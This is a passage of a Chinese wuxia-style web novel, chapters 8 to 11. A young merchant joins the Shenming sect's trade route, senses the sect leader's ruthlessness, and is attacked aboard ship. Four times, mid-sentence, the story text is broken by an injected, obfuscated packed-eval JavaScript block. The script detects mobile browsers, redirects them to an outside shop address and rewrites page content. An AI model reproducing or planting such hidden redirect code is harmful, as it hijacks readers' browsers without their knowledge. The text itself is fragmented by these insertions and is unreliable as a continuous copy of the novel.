虚怀谷进了雅间，风随柳抬手示意他在桌子对面坐下，抬手轻执茶壶，给他缓缓倒了一杯茶。待虚怀谷端起接过茶盏浅浅喝了一口，面上露出惬意舒缓之色，这才薄唇微启，缓缓开口问道：“虚先生今日之行，可还顺利？” 虚怀谷刚刚被暖茶抚慰过的心灵，被这一问陡然拉回了现实，顿时心情又沉重了下去。他叹了口气道：“不太顺利。市集里的大宗商货基本都被人订走了，前往明国的商队也启程了大半。我原打算采买一批最具文国特色的桂花酿，怎料市集上现在只剩下零星散货，若要预定新酿，只怕是赶不上年底的买卖了。” 风随柳闻言，眸底闪过一丝了然，面上却故作关切，轻声问道：“这可真是棘手，虚先生可有什么应对之法？” 虚怀谷闻言，神色愈发茫然，指尖无意识地摩挲着茶盏边缘。他还没想好后面的打算，正蹙眉思索之际，腹中却忽然传来“咕噜咕噜”的轻响，好似雷鸣……原来他忙碌了一个上午，水米未进，此时早已饥肠辘辘。 刹那间虚怀谷脸颊涨得通红，那红晕自耳尖蔓延至下颌，整个人好似都要烧起来了。他手足无措地放下茶盏，垂下眼眸，竟有些不敢直视风随柳，只觉窘迫万分。 风随柳见他这般窘迫的模样，唇角的笑意差点藏不住，好歹强压了下去，神色端肃地道：“是我怠慢了，先生奔波半日，想来早已乏了，我们先用膳吧。”言罢，不待虚怀谷开口推辞，便抬手轻摇案边银铃，铃声清越，门外候着的店小二立刻躬身推门而入，垂首而立，不敢多言。 风随柳只淡淡地吩咐了一句：“上菜。” 那店小二便躬身撤出，不过片刻，便有身着青衫的仆役陆续端着食盘进来。 先端上来的是四盘冷碟，两盘甜口，两盘咸口。紧接着便是热菜，清蒸鲈鱼、玉笋炖鸡汤、蟹粉豆腐、芙蓉瑶柱，还有两道色泽鲜亮的青菜。在这冬日时节，青菜可是比荤菜更加难得的珍品，非朱门巨贾，根本吃不上。 虚怀谷望着这满桌荤素搭配的珍馐，眼底不由闪过一丝诧异，小心翼翼地抬眸问道：“柳前辈，我们……无需点菜吗？” 风随柳正在饮茶的手微微一顿，道：“忘了告诉虚先生，这凤来阁是本教的产业，我来此用膳，一贯是不点菜的，皆是后厨备下的时令菜式。” 虚怀谷：…… 是我冒犯了！ 他扯了扯嘴角，有些僵硬地微微颔首，道：“原来如此，是我唐突了。” 风随柳见他这一脸误入天家、窘迫无措，竟带着几分生无可恋的模样，不由眼底笑意更浓，抬手示意道：“虚先生不必多礼，快些动筷吧，莫要辜负了这桌佳肴。” 虚怀谷还能说什么？他望着满桌珍馐，思及自身窘迫处境，纵有千般局促，也只剩无奈。索性抛却拘谨，执起筷子，大快朵颐起来。 毕竟人家是手眼通天的人物，既然自己比不了那份从容底气，便不要辜负了眼前这桌难得的美味吧。 这么一想，他索性彻底放开心怀，先前的窘迫全然褪去，举止间多了几分坦荡，淡定自若地享用起来。 风随柳见他并未因双方身份悬殊而露出胆怯或拘谨的神态，反倒多了几分坦荡通透，心下愈发满意，唇角噙着浅浅的笑意，静静望着他用膳，自己只偶尔执箸，浅尝辄止，目光里藏着几分不易察觉的打量与赞许。 待虚怀谷终于吃饱，放下筷子，风随柳也随之落筷，摇动银铃，店小二便躬身而入，动作麻利地将残羹剩菜一一撤下，又端来一桌精致点心与新沏的热茶，桌几上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495540|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焕然一新，茶香与点心的甜香交织，更显雅韵。 虚怀谷吃饱之后，慵懒之意渐生，便倚在窗边凭栏而坐，支着下颌望向窗外，只见远处亭台错落，万里晴空，阳光暖暖。一时之间原本萦绕在心头、对前途晦暗的不安，竟也渐渐松弛起来，不再那般纠结难安。 他暗自思忖：罢了，船到桥头自然直，既然赶不上明国的买卖，大不了便不去明国了，采办些范州当地特产，折返老家贩卖，也可小赚一笔，更能赶得及与弟弟妹妹们团圆过岁，也算圆满。 他这般想着，眉宇间的愁云渐渐散去，神色也愈发舒展。 风随柳将他的神色变化尽收眼底，待他心绪平复，便再次轻声询问起他日后的打算。虚怀谷此刻心境舒缓，便也不瞒他，将自己方才的想法一一照实道来。 风随柳听了，手指微微一顿，指尖轻轻抚过面纱下垂落的几缕白发，缓缓道：“虚先生，你来范州一趟不易，这般空手而回，未免太过可惜。我有一个一举两得的提议，不知先生可有兴趣一听？” “哦？柳前辈请说，在下洗耳恭听。”虚怀谷连忙道。 风随柳沉吟片刻，斟酌了一下言语，才不紧不慢地缓缓道来：“你知道，我此次下山，除了探查洪老板失踪一事，另有一桩差事，便是为我教采买所需商货。我神冥教在江湖中也算小有地位，教中上下教众甚多，所需物资亦是海量。往日里，我教如洪老板这般在外行商、打理商路的执事不在少数，如今洪老板出事，这段商路便恰好空了出来，正缺一位得力之人执掌。” 说到此处，他抬眸看向虚怀谷，暗暗打量了一下他的神色，继续恳切地道：“虚先生既有行商之才，又有坦荡之心，只是你初入此行，人微言轻，身后也无半点靠山依仗，日后想要在商海中立足，只怕步步艰辛。倒不如与我神冥教合作，由你代为打理我教这段商路，贩卖教中所需物资。如此一来，你既能凭借自身才干赚得丰厚的银钱，解开眼下的困境，又能借我神冥教的势力作为靠山，为日后行商之路打下基础，岂不是两全其美？” “这……”虚怀谷闻言，神色有些迟疑。 他自入行经商以来，接触过的江湖势力，唯有负责水路的漕帮而已。但那漕帮之中多是些常年搬货行船的普通汉子，性情爽朗，行事磊落，于他而言，似乎与寻常商会也无太大差别，因此也未体会过江湖教派的威慑与武力。 他心中暗忖：神冥教乃是江湖教派，与寻常商会截然不同，若是与其合作，便是与江湖势力牵扯不清，日后难免会卷入教派纷争，弄不好会惹到什么祸端，便如今日这洪老板一般。可是若不答应，自己这趟范州之行便一无所获，折返老家虽能安稳度日，却终究难成大事，这与他先前的行商抱负不符，未来兴盛虚家、给弟妹们做倚靠的期望怕也会成为空谈。 一边是未知的风险与羁绊，一边是难得的机遇与靠山，他一时间竟不知该如何抉择，不由神色凝重，半晌未曾开口。 9. 第 9 章 风随柳见他这副迟疑的模样，便已洞悉他的心思，也不催促，只端起茶盏慢慢啜饮。过了片刻，见虚怀谷神色渐缓，这才开口道：“虚先生不必太过担忧，我知晓你心中的顾虑。你放心，我神冥教虽为江湖教派，却从不强人所难，更不会让你卷入教派纷争之中。你若不愿意，我绝不勉强。” 虚怀谷问道：“那……我不必加入神冥教？” 风随柳轻轻一笑，道：“不必。你与我教的合作只限于商路打理、物资贩卖，其余江湖琐事，我教自会一力承担，绝不会让你受到半分牵连。”顿了顿，又补充道：“这次我北上运送这批货物，缺了洪老板这样的经商执事，正有些为难。你若不放心，不如这次与我一同北上，一来可帮我把这批商货安排妥当，二来可趁机熟悉北方商路，结识各路商客，也能亲眼见证我教的行事风格，打消心中顾虑。待北上之事了结，你再决定是否留下正式接手这段商路。我保证，到时绝不会为难你。” 风随柳的话语温和却极具说服力，字字句句都说到了虚怀谷的心坎上。 虚怀谷对风随柳的人品还是十分信任的。细细思索着他的话，心中的顾虑不由渐渐消散，取而代之的是对机遇的渴望与对未来的期许。他知道这是他突破困境、实现行商抱负的绝佳机会，若是错过，日后只怕再难有这般机缘。 虚怀谷本也不是那等遇事不决之人，下定决心后便抬起双眸，眼底的迟疑尽数褪去，取而代之的是坚定与恳切，他起身对着风随柳深深一揖，朗声道：“柳前辈所言极是，在下愿与神冥教合作，随前辈一同北上，定不辜负前辈的信任与提携！” 风随柳见他应允，面纱下微微露出的丰润唇瓣轻轻勾起，展开一抹笑意，轻轻颔首道：“好！虚先生果然是识时务、有决断之人，日后你我二人携手，定能各取所需，实现双赢。这几日虚先生也不用再奔忙于市集之间，不如好好浏览一下范州风光，放松心情，待我教商队整顿好，便一同北上。” 虚怀谷也微微一笑，道：“好。” 二人以茶代酒，杯盏轻碰，一饮而尽，竟也颇觉痛快。 虚怀谷望着风随柳面纱下轮廓清隽的下颌和唇间浅浅的笑意，怎么看也不像一位年长之人，忍不住心底生出几分好奇，道：“柳前辈，在下斗胆一问，不知您为何一直以面纱遮面？是否有什么难言之隐？” 风随柳身形微顿，修长的手指轻轻扶住斗笠边沿，低声道：“并未有什么难言之隐。只是因为一些缘故，我不方便以真面目示人。此事涉及我教中密规，不便细说，还望虚先生海涵。” 虚怀谷闻言，连忙拱手作揖，歉然道：“是我冒昧失礼了，柳前辈切莫怪罪。” “无妨。”风随柳淡然浅笑道：“世人皆有好奇之心，你有此一问也是人之常情。只是我并非不愿坦然相对，实在是有缘故在身，你莫要介怀才是。” “前辈言重了。”虚怀谷听了他的解释，心中疑虑尽消，便也释怀了。 下午风随柳还有其他事务在身，便先走了，因虚怀谷不认得回别院的路，便约好傍晚仍在这凤来阁汇合，接他一同返回。 虚怀谷下午没再去市集了，而是去了闹市的几家布衣坊，给自己添了几件厚棉衣，又买了一些北上所需的杂物，这才回了凤来阁。 傍晚风随柳果然如约来接他，二人一起乘车返回别院。 经过这一日相处，两人疏离之感渐消，彼此都亲厚了几分。然刚踏入正院，便见柳慕风突然一脸幽怨地冒了出来。 “你俩出去玩，不带我！” 这句指责顿时让虚怀谷手足无措。 风随柳却淡淡道：“功课做完了吗？” 柳慕风双手叉腰：“早练完了。” “爹爹的药方典籍，全部默写完了吗？” 柳慕风微微一窒，闷生闷气地道：“那么多药方，岂是一日之间便能默完的？” 风随柳淡淡道：“雨儿就可以了。” 柳慕风脸色顿时垮了下来，双臂垂落，刚才的得意尽数消散，整个人都散发出一种灰蒙蒙的低落之感。 虚怀谷忍不住好奇问道：“雨儿是谁？” 风随柳没说话，柳慕风神色落寞地道：“是我侄儿。罢了罢了，总不能连他都比不过，我回去背书了。” 他垂头丧气地往回走，那背影竟与上午受挫失意的虚怀谷一模一样。 虚怀谷略有不忍，却也帮不上什么忙。他与风随柳继续缓步往后院走，边走边问道：“我听柳公子提过，他的兄长精通医术，也算家学渊源，这位雨儿莫非是柳公子兄长之子？” “正是。”风随柳想了想，一字一句斟酌地道：“那位兄长与他乃是同父异母所出，因擅长医术，颇得爹爹的喜爱。侄儿如今年岁还小，不满十岁，却也是天资卓绝、聪慧过人。慕风朝夕与他们相较，比不过兄长也就罢了，若是连侄儿也比不过……” 他的未尽之意虚怀谷已然明了，不免有些唏嘘。 确实如此呢。柳慕风毕竟是做叔叔的，倘若事事不及晚辈，未免有些丢脸。这事换作旁人，也都得发奋苦读、拼命去学了。 虚怀谷同情归同情，却也觉得柳慕风在医道一途上更加勤勉些不是坏处，柳前辈严加管束，并无不妥呢。 说起来，他其实一直好奇柳前辈与柳慕风的关系，只是一直没有机会探问。不过今日二人达成了协作，日后结盟共事，且言谈投契，些许隐私之事，不问也罢。 如此过了两日，虚怀谷将北上要用的物事都准备得差不多了，风随柳便请他来书房，商量启程北上之事。 “虚先生，这本账册请您看一下。”风随柳并未坐在书案后面，而是临窗而立，递给他一本厚厚得册子。 虚怀谷双手接过，有些疑惑地问：“这是……？” 风随柳道：“这是我们这次北上所需押送的货物，只有一艘船，数量不多，区区十万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495541|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两而已。” 虚怀谷脚下一软，突然向前倾倒。 风随柳反应极快，连忙伸手将他扶住，眸中含着几分关切，问道：“虚先生这是怎么了？” 虚怀谷只觉得那股似松似竹、清冽淡雅的熏香味道萦绕鼻尖，混着对方近身的清寂气息，顿时让他有些羞涩局促起来。 他原本只是平阳县下辖南山村一个普通学子，侥幸中了秀才，有了些见识。未经商之前，平生所见最大银钱，不过是当年为父求医、变卖田产换来的百余两。先父亡故之后，家资花费殆尽，他去邻村蒙馆坐馆授业，月俸也不过仅仅三两薄银而已。后来张家退婚，除了退还彩礼，还赔偿了他两百两白银。他便靠着这两百两银子开始了经商之路。经过几番摸索，辗转经营，又幸得二弟所救的那位神秘人送来的一批丝绸回报，终于攒了一些家底，让他有底气从平阳县一路来到范州。 但即便如此，时至今日，他手中的银两拢共也不过千两有余。可眼前这位柳前辈，轻描淡写间便拿出价值十万两的货物，还语气平常地说“区区十万两”…… 什么“区区”啊！他这辈子都没见过这么多银钱好吗！ 他方才腿软，全是被这个骇人的数目震惊的。 而且据他所知，范州这条商路只是神冥教众多商路中的其中一条而已。便是赶上年底，囤货较多，但十万两也不是个小数目，而这只是一艘船的货量，前几日他便听柳慕风说他们已经启程了一艘船，那批平阳运来的丹橘就在其上。不敢想象整个神冥教所有商路全年吞吐的货运量将达到多少。其财力之雄厚，想来绝不会输给世间顶尖的巨贾世家。 原以为一船货至多一两万两白银的虚怀谷，此刻觉得自己还是见识浅薄了。 他稳了稳心神，站直身体，努力若无其事地抖了抖袖子，正色拱手道：“刚才有些头晕，一时失神，踉跄了一下，并无大碍。” 风随柳十分关切地道：“虚先生若是身体违和，我这就唤慕风来帮您诊脉调息。” 啊？让柳慕风帮他看诊吗？ 虚怀谷想起柳慕风背诵那药方典籍极为艰难的模样，心底不由心出几分怯意，对他的医术不太敢信任，连忙摆手道：“无碍无碍，在下现在已经没事了。”说完赶紧翻开那本账册看了起来，掩饰刚才的失态之举。 风随柳又细细打量他一番，见他脸色红润，气息平稳，确实不见什么异样，这才放下心来。由着虚怀谷在窗边迎光翻看，自己在一旁坐了下来，默默等候。 过了片刻，虚怀谷已经将账册翻阅完毕，长吁口气，道：“柳前辈，这些货物可有什么需要格外留意、又或需要另行安排的吗？” 风随柳思忖片刻，道：“并无特殊禁忌。今日这批货物便要尽数装船，稍后我让人带你去码头，亲自清点查验，也好了解底细，你也可安心随行。” “好。在下必当竭尽全力，将这批货物安排妥当。”虚怀谷颔首应下。 10. 第 10 章 领虚怀谷前往码头的，是一名唤作青峰的青年。他相貌平平，身形挺拔矫健，一身利落劲装束身，腰间悬着一柄长剑，周身气息冷肃，一看就是护卫打扮。 虚怀谷随他来到西码头，最终在一艘巍峨庞大的双层货船前停下脚步。 青峰抬手指向船头迎风猎猎的黑底金枫旗帜，沉声开口道：“这是我神冥教行船专属标识。往后先生若行水路，但凡望见悬此金枫黑旗的货船，皆是属于我神冥教，您可安心往来。” 虚怀谷微微颔首，默记于心。二人登船入舱后，他依照账册所列，一一清点核对货物。因为丹橘本是时令鲜果，不便久存，前几日便已随上一批商船先行运走了。如今这批船舱内，多是江南上等丝绸、细白瓷器与陈年酒酿等物品。 等虚怀谷全部清点完毕，已到了傍晚，明日他们就启程出发了，还要回去收拾箱笼行囊等物，明日一并送上船来。 青峰一直陪着虚怀谷，此时便与他一同下船准备返回别院。行至码头僻静处，虚怀谷突然想起当日追踪那批丹橘，就是在那边一处偏僻的仓库外与柳随风相遇，便抬手指着那个方向道：“上次我追寻那批失窃的丹橘，就是在那边的一处仓库外发现的。” 青峰面色不改，语气冷硬道：“虚先生放心，那帮作祟之人，早已处置妥当。” 虚怀谷觉得这个回答有些蹊跷，微微蹙眉，随口问道：“不知是怎么处置的？” 青峰默然不语，只抬手在颈间轻轻一划，动作利落又阴冷。 虚怀谷心头骤然一凛，浑身微僵。他分明记得柳随风当日说劫货祸首乃是范州太守的小舅子，一众涉案人等都已押送京城，交由官府依法查办了。可青峰这一举动，分明是另外一种说法。 他本想再细细盘问几句，可又心有顾虑，话到嘴边迟疑了几番，终究还是默默咽了回去。 回到别院，他一直有些心绪不宁。晚间与柳慕风一起用膳时，虚怀谷几番斟酌犹豫，终究还是按捺不住心底的疑虑，小心地问道：“上次柳前辈说劫掠丹橘的主犯乃是范州太守的小舅子，所有涉案人员都已押送京城问罪了，此话当真？” 柳慕风闻言，抬起双眸，神色平和自若地道：“是啊。你怎么突然提起此事？” “没、没什么。只是偶然想起，随口一问罢了。”虚怀谷连忙收敛了神色，将心中的疑虑尽数都压了下去。事已至此，早已尘埃落定，他与柳前辈也谈妥了合作，有些隐秘真相，深究无益，只会徒增烦恼罢了，索性不要再去多想。 第二日清晨，便有小厮来帮他抬运箱笼和行囊，整装待发。 虚怀谷去往正厅的路上，路过风随柳的院子，目光无意间一瞥，竟望见青峰不知何故跪在院中，身上晨露未消，寒意浸身，似乎跪了不短的时间。 他对那领路的小厮低声问道：“那边跪着的可是青峰？他这是怎么了？” 小厮笑笑，温声回道：“想是家主罚他跪的。至于什么缘故……主子的心思，我等下人不敢妄自揣测。” 虚怀谷闻言，便也不再多问，可心底却隐隐有了猜测。想来定是昨日青峰无意中向他泄露了实情，被柳随风知晓，才会受了惩戒。 想到此处，他不由心中一沉，莫名生出几分忌惮。往日里只觉得柳随风柳前辈温雅随和、态度可亲，如今才恍然察觉，这位柳前辈的内里，只怕远非表面那般温和良善。 但现在想这些已是无用。虚怀谷心中苦笑，强自收敛了纷乱的心神，振奋精神，跟随众人上了船。 风随柳今日内里仍穿了一身暗紫色锦袍，外面罩着一件素青大氅，白发松松落落地披在肩头，轻纱遮面，姿态闲适，瞧着心情似乎不错。他邀请虚怀谷与其一起来到船头，柳慕风也在，三人并肩而立，一同看着商船缓缓离岸，逆江而上。 虚怀谷轻声开口问道：“此番去往遥京，路途遥远，不知需要耗费多少时日？” 风随柳目光仍然望着滔滔江水，淡声道：“我们先去趟芜城，再从芜城往北经水路北上至玉阳，而后便改换陆路。算来前后行程，抵达遥京约莫一月有余。” 虚怀谷暗自默算了一下路程，待抵达遥京之时，恰逢腊月岁末，年关在即，各类干货杂货定然销路通畅，正是经商好时机。 芜城地处明国境内，自前朝以来便是声名远扬的千年古城，水陆通达，商旅云集，也是颇为繁华的大城。只是由范州过去，其实有点绕路。但虚怀谷心思缜密，并未多言追问。他现在已然意识到，眼前这位柳前辈是个彻头彻尾的江湖中人，行事果决，并非心慈手软之辈。是以他愈发谨言慎行，刻意避开神冥教内务，不愿深陷其中。 二人浅聊了数句，虚怀谷便寻了由头，转身回舱收拾行囊。 待他身影走远，一直没有开口的柳慕风才轻声道：“大哥，我瞧虚先生如今似乎对你心生戒备了。” 风随柳双手拢入大氅袖中，眸光沉沉地凝望着苍茫江面，声线平淡无波：“情理之中，不足为奇。” 柳慕风有些不解，蹙眉追问道：“你惩戒青峰，为何偏偏要让虚先生撞见？青峰失言泄露实情，私下惩罚便可。这般刻意为之，反倒引得虚先生诸多揣测，心生隔阂。” 风随柳唇角微勾，语调漫不经心，带着几分深沉与算计：“既与我神冥教同盟共事，便该让他清楚我教规矩森严。心存敬畏，方能安分守己，尽心为我等办事。” 柳慕风一脸不认同地道：“虚先生心性纯良，是个好人。他不过是寻常书生商贾，你非要强行把他牵扯进我们神冥教，未免太不厚道了。” 风随柳缓缓转头，目光透过面纱幽幽地盯着他，语气里掺杂了几分讽意，轻笑道：“我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495542|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好弟弟，你莫不是在灵隐谷待的时间太久，忘了我们神冥教是何等去处？我教从来不是普度众生的慈善之地。江湖以武定尊卑，商贾凭手段谋利益，朝堂借权柄立身，各行有各行的法则道义，你且好好学学吧。” 柳慕风听得闷气，嘟囔道：“你是教主，你说了算。我原还以为你待虚先生有几分另眼相看，如今看来，竟都是我的错觉。” 风随柳横他一眼，语气冷淡道：“我为何要对他另眼相看？凭他一介书生的清傲风骨，还是凭他心思玲珑、善算商事？” “这些难道还不够吗？”柳慕风顿了顿，又小声地补了一句：“何况虚先生容貌清俊，气度不凡，皮相上佳呢。” 风随柳冷笑一声，言语突然变得锋利，话中带刺道：“这般荤素不分的口吻，不知底细的，还以为你是勾栏里撮合生意的鸨儿呢。” 柳慕风气得脸颊涨红，连连跺脚，指着他愤愤反驳道：“怪不得你至今孤身一人！两回前往灵隐谷挑选人选，次次都空手而归。我看哪里是你瞧不上旁人，分明是旁人不愿与你相伴！父亲说得没错，你这般执拗古板、冷情冷性的，早晚要做一辈子的孤家寡人。” 话音未落，风随柳抬臂微扬，动作未带半分戾气，威慑力却十足。柳慕风瞬间噤声，慌忙抱头鼠窜，一溜烟地逃回了船舱之中，不敢再多置喙。 船行两日，虚怀谷一直行事谨慎，如非必要，连自己的舱房都少出。对风随柳，自打那日虚怀谷窥见他惩戒手下的手段，看清其骨子里的冷厉和城府后，便时时存着小心，刻意避嫌。白日里若非必要，绝不主动上前攀谈，即便偶然迎面遇见，也只是礼数周全，恭敬却疏离。 他这种处处小心、步步谨慎、安守本分的模样，落在旁人眼里或许觉得他过于拘谨别扭了，可落在风随柳眼中，却生出几分别样的趣味。 有时风随柳会故意将他叫到船头来。因他是主家，虚怀谷也不便一直推辞，只能应邀而来。风随柳青氅白发，面纱覆面，闲看两岸风景。然余光却总会透过面纱，时不时扫向一直低头敛神、又或故作淡定的虚怀谷，每当看到虚怀谷那客气有礼的模样，心底更是会漫起一丝不易察觉的笑意。 世人要么畏他惧他，要么刻意攀附、曲意逢迎，唯独虚怀谷不同。他不刻意讨好，也不惶恐畏惧，只是大大方方地客气、坦坦荡荡地避嫌，虽未多言，却将“误上贼船、悔之晚矣”的心态展露无疑。 风随柳只觉他这种懊恼和谨慎十分好笑。明明心底绷得紧紧的，面上却还要维持着该有的从容和礼数，尽管局促不安，却还是事事周全，不负所托，当真是既有趣又难得。 风随柳微微垂眸，指尖轻捻着袖间衣料，面纱下的唇角悄然弯起。 江面悠悠，前路尚远，这一路有这般小心自持、矛盾又可爱之人同行，倒也不算无趣。 11. 第 11 章 不几日，船便行至芜城。这里是明国境内，凡过境商船皆需登岸赴官府誊录文牒、登记备档，层层手续十分繁琐。 虚怀谷是第一次来，便也跟着一路随行登岸，学习如何打理这些杂务。风随柳则另有要事，领着数名心腹属下，甫一上岸便不知所踪了。 虚怀谷跟着船上的管事将一应手续尽数办完，又采买补给一番，一行人在芜城已足足滞留三日。然风随柳还未归来，他们也不能启程，只能在芜城继续等待。 倒是柳慕风，在第三日傍晚专程来找虚怀谷辞行。原来他临时有事，要在芜城停留，待事情了结才能动身去往遥京，因此不能与他们一路同行了。不过柳慕风也说，若是事情办得顺利、时日充裕，或许赶在岁末年前，他们还能于遥京城中相聚。 虚怀谷闻言有些意外，也有些不舍。他没想到柳慕风会中途下船，这些日子相伴，他已然把柳慕风当成一位谈得来的贤弟了。然而毕竟正事要紧，他也不能多说什么。 柳慕风对他也颇有几分情谊，几次欲言又止，似是有话要说，但是过了片刻，终究还是压了下去，只是道：“虚先生，您比我年长几岁，往后我便唤你一声虚大哥。北上路途遥远，所幸船上高手众多，安危无需挂虑。你我来日遥京再会。” 虚怀谷颔首应了，与他依依不舍地道别。 待风随柳办完教中事务，匆匆折返码头，再度登船，已是第四日破晓。因为耽误的时间较多，大船也未再多做停留，很快便重新扬帆启程，径直朝着玉阳而去。 这柳慕风一下船，虚怀谷便孤寂了几分，但也无可奈何，于是更多的时间是独处舱房内，读书写字，整理账册等，倒是一连两日都没机会遇到风随柳。 行船第三日夜晚，夜色沉沉，商船行至一处险恶峡口，两岸苍林叠嶂，古木参天，繁密枝桠遮天蔽日，江面水流汹涌湍急，水下暗礁密布，暗流涌动，行船速度不得不放缓了下来。 此时正是夜晚，寻常舟行至此处，为了安全起见，多会寻一处避风安稳的港湾停靠，等天明雾散了再过险滩。可神冥教这艘商船体量庞大、吃水较深，稳性远超寻常船只，加之这趟行程因为芜城那几日本就有所延误，众人急于赶路，便决意连夜行船，没有泊船停歇。 然而商船刚刚转过一处湾流不久，甲板上值守的护卫骤然神色一凛，暗夜之中，隐隐可见数艘轻便快船正借着林木阴影与夜幕掩护，如鬼魅般飞速围拢，直直逼近神冥教的商船！ 那护卫大惊，连忙敲响铜锣示警。急促的锣音划破静谧的夜晚，瞬间惊醒了船舱内休憩的众人，水手、护卫纷纷披衣执刃，蜂拥奔上甲板，刀剑出鞘，杀气骤起。 只是他们察觉得还是晚了些。警钟余音未落，只听轰隆一声震天巨响，船身猛地剧烈震颤摇晃，竟是一艘快船不顾一切，借着湍急水势狠狠撞向船尾！ 紧接着船舱深处陡然爆发出凌厉的喊杀与兵刃相交之声。谁也没有料到，早有数名身着水靠的潜水刺客，借着水势潜藏在船底，趁着夜色悄无声息地攀上船板，已经潜入了船舱腹地，与巡夜护卫厮杀缠斗起来。只听嘶喊与寒刃刀光相交之声不绝于耳，血腥气转瞬在船上弥漫开来。 虚怀谷原本已经睡下了，突然听到舱外的刀光血影和人声嘶鸣，心头一惊，慌忙爬了起来。他本是一介文弱书生，从未经历过这般凶险乱局，慌乱之中却尚存几分理智，迅速换好贴身衣物，又将行囊中紧要物件尽数取出，用油布层层裹紧，牢牢揣入怀中贴身藏好。 他快步关上舱门，搬来厚重桌椅死死抵住门板，缩在舱内屏息凝神。可船身摇晃的越发剧烈，此起彼伏的撞击声不断传来，显然又有敌船接连冲撞。而且不过几息之间，便有淡淡的焦糊烟味顺着门缝钻入舱内，外面有人在嘶吼呼救：“走水了！走水了！刺客纵火！快来人救啊——” 虚怀谷只听得心惊胆颤，心下大骇。 刺客？！这这这…… 他这辈子都没想过刺客夜袭这种事会让自己遇上。这般深夜突袭，劫船纵火，绝非寻常水匪所为，分明是蓄谋已久的暗杀围剿！ 他正手足无措间，突然听到门外传来急促的拍门声，一道紧绷低哑的嗓音响起：“虚先生，我是青峰！船中上有刺客，教主命我即刻带你脱身先走！” 听出确实是青峰的声音，虚怀谷稍稍定神，慌乱之下未曾留意到那声“教主”的称谓，连忙用力挪开抵住门板的桌椅。然而他刚刚拉开舱门，一道寒芒猝然乍现！ 原来暗处一名刺客早有埋伏，一支箭矢从短弩上挟着劲风射出，直取他眉心要害！千钧一发之刻，青峰横剑格挡，“铛”的一声脆响，箭势微斜，狠狠钉入虚怀谷身侧的门框之中。那箭头深凿入木，箭尾犹在剧烈震颤，可见力道之凶猛。若是中在身上，必定脑穿人亡了！ 生死一线，虚怀谷吓得脚下一软，身形踉跄，险些跌坐在地，冷汗瞬间浸透衣衫。 青峰一时无暇理他，只提剑迎了上去，瞬间与那刺客缠斗起来。他数招狠厉，步步紧逼，终于勉强将人逼退，立刻反手一把攥住虚怀谷的手腕，拽着他踉跄奔出船舱。 舱外的甲板上，早已沦为杀伐战场。 青峰拽着他往船尾备用小艇处跑去，催促道：“快走！敌船撞破船底，江水倒灌，船要沉了！快速速登上备用小艇去！” 船要沉了？ 短短四个字如惊雷贯耳。虚怀谷脚步踉跄，仓皇追问：“究竟出了什么变故？柳前辈现下如何？” “我们中了敌人的连环计，处处皆是陷阱。”青峰语速极快，不及多做解释，只是奉命护着他一路往甲板外侧突围。 前路刺客层出不穷，刀光剑影层层围堵，青峰只得将虚怀谷暂时推至一侧掩体之后，独自提剑迎了上去，缠住追兵。 混乱厮杀之中，二人就此被人流与敌寇冲散。 虚怀谷缩在甲板沙袋后面，四面皆是血色杀伐，浓烟滚滚，火光映红漆黑的江面，耳边尽是兵刃相交、嘶吼厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495543|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀之声。虚怀谷哪里见过这等场面，一边心魂胆颤，一边努力镇定寻找生机。 就在这时，一名黑衣刺客突然发现了他，猛然向他逼近。虚怀谷大惊，只看着那寒刃即将劈到眼前，就在这一刹那，一条黑色长鞭倏然卷过，寒刃被劈开，一道紫色身影如疾风掠至！ 劲风席卷，来人衣袍翻飞猎猎，出手快如闪电，剑锋凌厉狠绝，反手便将那名刺客狠狠震退，顺势长鞭一卷，猛地将呆立失神的虚怀谷狠狠甩向船舷边缘。 这力道刚猛却分寸得当，不仅避过那致命一击，也堪堪将虚怀谷救出鬼门关。 虚怀谷跌倒在地，惊魂未定间抬头望去，竟是风随柳。 “柳前辈！” 